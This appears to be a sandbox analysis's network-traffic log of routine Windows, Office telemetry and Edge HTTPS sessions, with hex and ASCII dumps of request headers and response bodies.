<L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:27 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:27 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: a9172f65-e01e-0020-698c-27de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145927Z-17c5cb586f6gkqkwd0x1ge8t0400000008qg00000000b1wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:27 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:27 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:27 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145927Z-16849878b78bcpfn2qf7sm6hsn00000009r000000000rm4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:27 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="
2024-10-30 14:59:43 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:43 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 2d748408-801e-0048-3eee-25f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145943Z-16849878b786fl7gm2qg4r5y7000000008eg00000000evkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49824	94.245.104.56	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:27 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:27 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 30 Oct 2024 14:59:27 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49831	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:28 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 76 33 7a 6a 31 68 33 77 43 45 71 44 61 79 73 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 64 66 62 63 32 32 33 30 63 31 36 39 35 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: v3zj1h3wCEqDays8.1Context: 1edfbc2230c16950
2024-10-30 14:59:28 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 14:59:28 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 76 33 7a 6a 31 68 33 77 43 45 71 44 61 79 73 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 64 66 62 63 32 32 33 30 63 31 36 39 35 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 61 73 58 72 58 58 72 6b 6a 49 69 70 73 2b 67 69 7a 75 2f 6b 78 4d 4b 62 4e 76 42 2f 41 4a 39 6b 62 32 69 31 38 72 55 48 51 68 68 4b 53 59 6e 35 6e 76 36 6e 53 45 54 69 4c 63 32 34 4f 54 6a 64 74 36 44 4f 6e 70 57 50 48 4f 6e 37 45 6e 73 78 64 6f 42 4c 6e 62 77 70 4d 59 47 42 44 35 79 42 51 48 6e 45 30 30 63 2f 71 36 49 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: v3zj1h3wCEqDays8.2Context: 1edfbc2230c16950<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARasXrXXrkjIips+gizu/kxMKbNvB/AJ9kb2i18rUHQhhKSYn5nv6nSETiLc24OTjdt6DOnpWPHOn7EnsxdoBLnbwpMYGBD5yBQHnE00c/q6I/
2024-10-30 14:59:28 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 76 33 7a 6a 31 68 33 77 43 45 71 44 61 79 73 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 64 66 62 63 32 32 33 30 63 31 36 39 35 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: v3zj1h3wCEqDays8.3Context: 1edfbc2230c16950<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 14:59:28 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 14:59:28 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6b 59 72 76 52 46 68 6f 73 55 4b 55 32 44 43 37 31 47 57 58 6e 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: kYrvRFhosUKU2DC71GWXnw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:28 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:28 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: cd066ebd-401e-0035-394c-2682d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145928Z-r197bdfb6b4hsj5bywyqk9r2xw00000009p000000000a31q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:28 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI
2024-10-30 14:59:44 UTC	192	OUT	GET /rules/rule703851v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:45 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Content-Type: text/xml Content-Length: 1442 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF82CC90" x-ms-request-id: 7d46b04e-d01e-005a-239c-277fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145945Z-17c5cb586f626sn8grcgm1gf8000000006mg00000000gd95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:45 UTC	1442	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 38 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 50 69 63 6b 65 72 2e 55 73 65 72 41 63 74 69 6f 6e 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703851" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaPicker.UserActions.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:28 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:28 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:28 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145928Z-16849878b78qfbkc5yywmsbg0c00000007yg000000001w17 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:28 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"
2024-10-30 14:59:44 UTC	192	OUT	GET /rules/rule703600v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:44 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7B46FC9" x-ms-request-id: 111ea870-b01e-003e-7158-268e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145944Z-r197bdfb6b4skzzvqpzzd3xetg00000007pg000000008216 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 36 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6b 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 61 6b 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703600" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Maker" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMaker" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:28 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:28 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 2953fb54-101e-0028-3f94-298f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145928Z-17c5cb586f69w69mgazyf263an000000079000000000kd9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:28 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"
2024-10-30 14:59:44 UTC	192	OUT	GET /rules/rule703601v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:44 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEE017060" x-ms-request-id: 54001f02-001e-00a2-28fa-28d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145944Z-r197bdfb6b46kmj4701qkq602400000007dg00000000214x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:44 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 36 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6b 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 61 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703601" V="0" DC="SM" 